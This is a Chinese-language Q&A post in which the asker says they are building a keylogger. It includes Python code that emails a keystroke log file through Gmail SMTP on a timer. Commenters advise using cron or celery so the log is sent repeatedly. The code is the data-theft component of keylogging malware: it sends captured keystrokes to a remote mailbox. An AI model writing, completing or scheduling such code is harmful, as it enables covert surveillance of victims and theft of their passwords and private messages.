【发布时间】:2020-04-29 02:29:41
【问题描述】:
我正在制作一个键盘记录器,它每 x 小时发送一封附有日志的电子邮件。我尝试使用 threading.Timer() 命令;但是,它只发送一次电子邮件。以下是我的代码: 更新:作为替代方案,我还尝试在特定时间每天发送一次电子邮件,但我不知道它所需的确切命令。
keys_information = "key_log.txt"
email_address = email sender
password = password
username = getpass.getuser()
toaddr = receiver email
file_path = "text file location"
extend = "\\"
file_merge = file_path + extend
# email controls
def send_email(filename, attachment, toaddr):
fromaddr = email_address
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Log File"
body = "Body_of_the_mail"
msg.attach(MIMEText(body, 'plain'))
filename = filename
attachment = open(attachment, 'rb')
p = MIMEBase('application', 'octet-stream')
p.set_payload((attachment).read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(p)
s = smtplib.SMTP('smtp.gmail.com', 587) #to access the server
s.starttls()
s.login(fromaddr, password)
text = msg.as_string()
s.sendmail(fromaddr, toaddr, text)
s.quit()
t = threading.Timer(10, send_email, [keys_information, file_path + extend + keys_information, toaddr])
t.start()
【问题讨论】:
-
Timer文档的哪一部分让您觉得它会运行不止一次? -
查看
cron或celery进行定期调度。Timer模块对于您正在尝试做的事情毫无用处 -
如何使用 cron 或 celery?我应该如何修改程序中的代码?